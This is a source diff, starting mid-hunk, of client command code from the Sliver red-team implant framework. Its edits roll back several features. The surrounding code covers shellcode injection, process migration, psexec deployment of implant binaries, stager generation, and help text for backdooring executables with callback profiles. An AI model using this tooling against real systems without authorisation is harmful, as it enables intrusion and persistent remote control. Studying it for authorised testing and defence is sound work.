-		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
-	}
-
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -98,7 +69,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: rwxPages,
+		RWXPages: ctx.Flags.Bool("rwx-pages"),
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})

client/command/exec/execute.go

@@ -18,6 +18,7 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -241,7 +242,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
 
 	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
 
-	outFilePath, err = os.CreateTemp("", outFileName)
+	outFilePath, err = ioutil.TempFile("", outFileName)
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/exec/migrate.go

@@ -3,17 +3,14 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
-
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
-
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
-
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -36,19 +33,12 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	pid := ctx.Args.Uint("pid")
 	config := con.GetActiveSessionConfig()
-	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if ctx.Flags.Bool("disable-sgn") {
-		encoder = clientpb.ShellcodeEncoder_NONE
-	}
-
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
-
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
 		Request: con.ActiveTarget.Request(ctx),
-		Encoder: encoder,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/psexec.go

@@ -21,19 +21,17 @@ package exec
 import (
 	"context"
 	"fmt"
-	"os"
+	"io/ioutil"
+	insecureRand "math/rand"
 	"strings"
 	"time"
 
-	insecureRand "math/rand"
-
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
 )
@@ -95,7 +93,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
 	} else {
 		// use a custom exe instead of generating a new Sliver
-		fileBytes, err := os.ReadFile(customExe)
+		fileBytes, err := ioutil.ReadFile(customExe)
 		if err != nil {
 			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
 			return
@@ -103,7 +101,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary = fileBytes
 	}
 
-	filename := randomFileName()
+	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
@@ -174,28 +172,11 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }
 
-func randomFileName() string {
-	noun, _ := codenames.RandomNoun()
-	noun = strings.ToLower(noun)
-	switch insecureRand.Intn(3) {
-	case 0:
-		noun = strings.ToUpper(noun)
-	case 1:
-		noun = strings.ToTitle(noun)
+func randomString(length int) string {
+	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+	b := make([]byte, length)
+	for i := range b {
+		b[i] = charset[insecureRand.Intn(len(charset))]
 	}
-
-	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
-	sep := separators[insecureRand.Intn(len(separators))]
-
-	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
-	prefix := ""
-	for index := 0; index < insecureRand.Intn(3); index++ {
-		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-	suffix := ""
-	for index := 0; index < insecureRand.Intn(6)+1; index++ {
-		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-
-	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
+	return string(b)
 }

client/command/exec/sideload.go

@@ -21,7 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"os"
+	"io/ioutil"
 	"path/filepath"
 	"strings"
 
@@ -45,13 +45,11 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	args := strings.Join(ctx.Args.StringList("args"), " ")
 
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
-	processArgsStr := ctx.Flags.String("process-arguments")
-	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -64,8 +62,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
 		IsUnicode:   ctx.Flags.Bool("unicode"),
-		PPid:        uint32(ctx.Flags.Uint("ppid")),
-		ProcessArgs: processArgs,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/spawndll.go

@@ -1,27 +1,9 @@
 package exec
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"fmt"
-	"os"
+	"io/ioutil"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -42,7 +24,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	exportName := ctx.Flags.String("export")
 
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return

client/command/exec/ssh.go

@@ -1,26 +1,8 @@
 package exec
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
-	"os"
+	"io/ioutil"
 	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -49,9 +31,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	port := ctx.Flags.Uint("port")
-	privateKeyPath := ctx.Flags.String("private-key")
-	if privateKeyPath != "" {
-		privKey, err = os.ReadFile(privateKeyPath)
+	privateKeypath := ctx.Flags.String("private-key")
+	if privateKeypath != "" {
+		privKey, err = ioutil.ReadFile(privateKeypath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -61,19 +43,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	hostname := ctx.Args.String("hostname")
 	command := ctx.Args.StringList("command")
-	kerberosRealm := ctx.Flags.String("kerberos-realm")
-	kerberosConfig := ctx.Flags.String("kerberos-config")
-	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
-
-	if kerberosRealm != "" && kerberosKeytabFile == "" {
-		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
-		return
-	}
-	kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
 
 	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
@@ -90,9 +59,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
-		Realm:    kerberosRealm,
-		Krb5Conf: kerberosConfig,
-		Keytab:   kerberosKeytab,
 		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {

client/command/extensions/load.go

@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		if !depLoaded && extName == ext.DependsOn {
 			depLoaded = true
 		}
-		if ext.CommandName == extName {
+		if ext.Name == extName {
 			return nil
 		}
 	}

client/command/filesystem/download.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"fmt"
 	"os"
+	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -172,7 +173,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = filepath.Join(dst, fileName)
+			dst = path.Join(dst, fileName)
 		}
 
 		// Add an extension to a directory download if one is not provided.

client/command/generate/generate-beacon.go

@@ -31,11 +31,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	if !ctx.Flags.Bool("external-builder") {
-		compile(config, save, con)
-	} else {
-		externalBuild(config, save, con)
-	}
+	compile(config, save, con)
 }
 
 func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {

client/command/generate/generate-stager.go

@@ -1,28 +1,10 @@
 package generate
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"net"
-	"os"
 	"regexp"
 	"strings"
 
@@ -69,12 +51,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	arch := ctx.Flags.String("arch")
 	proto := ctx.Flags.String("protocol")
 	format := ctx.Flags.String("format")
-	badChars := ctx.Flags.String("badchars")
+	badchars := ctx.Flags.String("badchars")
 	save := ctx.Flags.String("save")
 
 	bChars := make([]string, 0)
-	if len(badChars) > 0 {
-		for _, b := range strings.Split(badChars, " ") {
+	if len(badchars) > 0 {
+		for _, b := range strings.Split(badchars, " ") {
 			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
 		}
 	}
@@ -116,7 +98,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 
-		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return

client/command/generate/generate.go

@@ -22,11 +22,12 @@ import (
 	"context"
 	"errors"
 	"fmt"
+	"io/ioutil"
 	"log"
 	"net"
 	"net/url"
 	"os"
-	"os/signal"
+	"path"
 	"path/filepath"
 	"runtime"
 	"strings"
@@ -35,8 +36,6 @@ import (
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/util"
@@ -83,9 +82,6 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
-
-	ErrNoExternalBuilder = errors.New("no external builders are available")
-	ErrNoValidBuilders   = errors.New("no valid external builders for target")
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -98,24 +94,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	if !ctx.Flags.Bool("external-builder") {
-		compile(config, save, con)
-	} else {
-		_, err := externalBuild(config, save, con)
-		if err != nil {
-			if err == ErrNoExternalBuilder {
-				con.PrintErrorf("There are no external builders currently connected to the server\n")
-				con.PrintErrorf("See 'builders' command for more information\n")
-			} else if err == ErrNoValidBuilders {
-				con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
-				con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
-				con.PrintErrorf("See 'builders' command for more information\n")
-			} else {
-				con.PrintErrorf("%s\n", err)
-			}
-			return
-		}
-	}
+	compile(config, save, con)
 }
 
 func expandPath(path string) string {
@@ -139,7 +118,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		if strings.HasSuffix(save, "/") {
 			log.Printf("%s is dir\n", save)
 			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
+			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			saveDir := filepath.Dir(save)
@@ -153,7 +132,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		log.Printf("%s does exist\n", save)
 		if fi.IsDir() {
 			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
+			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -178,9 +157,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 		return "Shared Library"
 	case clientpb.OutputFormat_SHELLCODE:
 		return "Shellcode"
-	default:
-		return "Unknown"
 	}
+	panic(fmt.Sprintf("Unknown format %v", value))
 }
 
 // Shared function that extracts the compile flags from the grumble context
@@ -271,7 +249,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
-	limitLocale := ctx.Flags.String("limit-locale")
 
 	isSharedLib := false
 	isService := false
@@ -304,10 +281,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	if targetOS == "" || targetArch == "" {
 		return nil
 	}
-	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
-		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
-		return nil
-	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
@@ -345,7 +318,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
-		TemplateName:     ctx.Flags.String("template"),
 
 		WGPeerTunIP:       tunIP.String(),
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -361,7 +333,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
-		LimitLocale:       limitLocale,
 
 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
@@ -502,7 +473,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
-		uri.Path = strings.TrimSuffix(uri.Path, "/")
 		if uri.Scheme != "http" && uri.Scheme != "https" {
 			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
 		}
@@ -631,130 +601,6 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 	return c2s, nil
 }
 
-func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
-
-	potentialBuilders, err := findExternalBuilders(config, con)
-	if err != nil {
-		return nil, err
-	}
-	var externalBuilder *clientpb.Builder
-	if len(potentialBuilders) == 1 {
-		externalBuilder = potentialBuilders[0]
-	} else {
-		con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
-		externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
-		if err != nil {
-			return nil, err
-		}
-	}
-	con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
-
-	if config.IsBeacon {
-		interval := time.Duration(config.BeaconInterval)
-		con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
-	} else {
-		con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
-	}
-	if config.ObfuscateSymbols {
-		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
-	} else if !config.Debug {
-		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
-	}
-	start := time.Now()
-
-	listenerID, listener := con.CreateEventListener()
-
-	waiting := true
-	spinner := spin.New()
-
-	sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
-	signal.Notify(sigint, os.Interrupt)
-
-	con.PrintInfof("Creating external build ... ")
-	externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
-		Config:      config,
-		BuilderName: externalBuilder.Name,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil, err
-	}
-	con.Printf("done\n")
-
-	var name string
-	msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
-	for waiting {
-		select {
-
-		case <-time.After(100 * time.Millisecond):
-			elapsed := time.Since(start)
-			msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
-			fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s  %s", spinner.Next(), msg)
-
-		case event := <-listener:
-			switch event.EventType {
-
-			case consts.ExternalBuildFailedEvent:
-				parts := strings.SplitN(string(event.Data), ":", 2)
-				if len(parts) != 2 {
-					continue
-				}
-				if parts[0] == externalImplantConfig.Config.ID {
-					con.RemoveEventListener(listenerID)
-					return nil, fmt.Errorf("external build failed: %s", parts[1])
-				}
-
-			case consts.AcknowledgeBuildEvent:
-				if string(event.Data) == externalImplantConfig.Config.ID {
-					msgF = "External build acknowledged by builder (template: %s) ... %s"
-				}
-
-			case consts.ExternalBuildCompletedEvent:
-				parts := strings.SplitN(string(event.Data), ":", 2)
-				if len(parts) != 2 {
-					continue
-				}
-				if parts[0] == externalImplantConfig.Config.ID {
-					con.RemoveEventListener(listenerID)
-					name = parts[1]
-					waiting = false
-				}
-
-			}
-
-		case <-sigint:
-			waiting = false
-			con.Printf("\n")
-			return nil, fmt.Errorf("user interrupt")
-		}
-	}
-
-	elapsed := time.Since(start)
-	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
-
-	generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-		ImplantName: name,
-	})
-	if err != nil {
-		return nil, err
-	}
-	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
-
-	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
-	if err != nil {
-		return nil, err
-	}
-
-	err = os.WriteFile(saveTo, generated.File.Data, 0700)
-	if err != nil {
-		con.PrintErrorf("Failed to write to: %s\n", saveTo)
-		return nil, err
-	}
-	con.PrintInfof("Implant saved to %s\n", saveTo)
-
-	return nil, nil
-}
-
 func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
 	if config.IsBeacon {
 		interval := time.Duration(config.BeaconInterval)
@@ -782,41 +628,20 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}
 
-	elapsed := time.Since(start)
-	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
+	end := time.Now()
+	elapsed := time.Time{}.Add(end.Sub(start))
+	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
 	if len(generated.File.Data) == 0 {
 		con.PrintErrorf("Build failed, no file data\n")
 		return nil, errors.New("no file data")
 	}
 
-	fileData := generated.File.Data
-	if config.IsShellcode {
-		confirm := false
-		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
-		if confirm {
-			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
-			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-				Architecture: config.GOARCH,
-				Iterations:   1,
-				BadChars:     []byte{},
-				Data:         fileData,
-			})
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-			} else {
-				con.Printf("success!\n")
-				fileData = resp.GetData()
-			}
-		}
-	}
-
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = os.WriteFile(saveTo, fileData, 0700)
+	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -842,9 +667,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
-	if config.LimitLocale != "" {
-		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
-	}
 	return strings.Join(limits, "; ")
 }
 
@@ -906,48 +728,3 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
 	survey.AskOne(prompt, &confirm, nil)
 	return confirm
 }
-
-func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
-	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return nil, err
-	}
-	if len(builders.Builders) < 1 {
-		return []*clientpb.Builder{}, ErrNoExternalBuilder
-	}
-
-	validBuilders := []*clientpb.Builder{}
-	for _, builder := range builders.Builders {
-		for _, target := range builder.Targets {
-			if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
-				validBuilders = append(validBuilders, builder)
-				break
-			}
-		}
-	}
-
-	if len(validBuilders) < 1 {
-		return []*clientpb.Builder{}, ErrNoValidBuilders
-	}
-
-	return validBuilders, nil
-}
-
-func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
-	choices := []string{}
-	for _, builder := range builders {
-		choices = append(choices, builder.Name)
-	}
-	choice := ""
-	prompt := &survey.Select{
-		Message: "Select an external builder:",
-		Options: choices,
-	}
-	survey.AskOne(prompt, &choice, nil)
-	for _, builder := range builders {
-		if builder.Name == choice {
-			return builder, nil
-		}
-	}
-	return nil, ErrNoValidBuilders
-}

client/command/generate/implants.go

@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildFilters := ImplantBuildFilter{}
+	implantBuildfilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
+		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
@@ -65,7 +65,6 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 	tw.AppendHeader(table.Row{
 		"Name",
 		"Implant Type",
-		"Template",
 		"OS/Arch",
 		"Format",
 		"Command & Control",
@@ -104,13 +103,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 		for index, c2 := range config.C2 {
 			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
 		}
-		if config.TemplateName == "" {
-			config.TemplateName = "sliver"
-		}
 		tw.AppendRow(table.Row{
 			sliverName,
 			implantType,
-			config.TemplateName,
 			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
 			config.Format,
 			strings.Join(c2URLs, "\n"),

client/command/generate/regenerate.go

@@ -20,6 +20,7 @@ package generate
 
 import (
 	"context"
+	"io/ioutil"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -50,7 +51,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
+	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to %s\n", err)
 		return

client/command/help/long-help.go

@@ -103,11 +103,6 @@ var (
 		consts.ReactionStr:                         reactionHelp,
 		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
-
-		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
-
-		// Builders
-		consts.BuildersStr: buildersHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -209,10 +204,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
+profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
 `
 
-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -467,7 +462,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -691,26 +686,6 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
 
 	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
 [[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
-`
-
-	cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
-[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
-
-If no extension is specified, Sliver will enumerate all installed extensions, extract their
-permissions and determine a valid target for injection. For Cursed Chrome to work properly
-the target extension must have either of these two sets of permissions:
-
-1. "webRequest" "webRequestBlocking" "<all_urls>" 
-2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
-
-More information: https://github.com/mandatoryprogrammer/CursedChrome
-`
-
-	buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
-[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
-
-External builders allow the Sliver server offload implant builds onto external machines.
-For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
 `
 )
 

client/command/hosts/hosts.go

@@ -26,7 +26,6 @@ import (
 	"sort"
